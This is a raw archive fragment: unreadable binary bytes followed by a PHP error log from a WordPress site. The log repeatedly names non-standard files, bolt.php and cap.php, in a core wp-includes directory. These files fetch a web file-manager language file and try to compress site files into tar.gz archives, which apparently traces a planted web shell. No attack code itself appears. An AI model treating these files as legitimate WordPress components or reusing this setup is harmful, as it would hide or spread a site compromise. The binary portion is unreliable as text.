b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
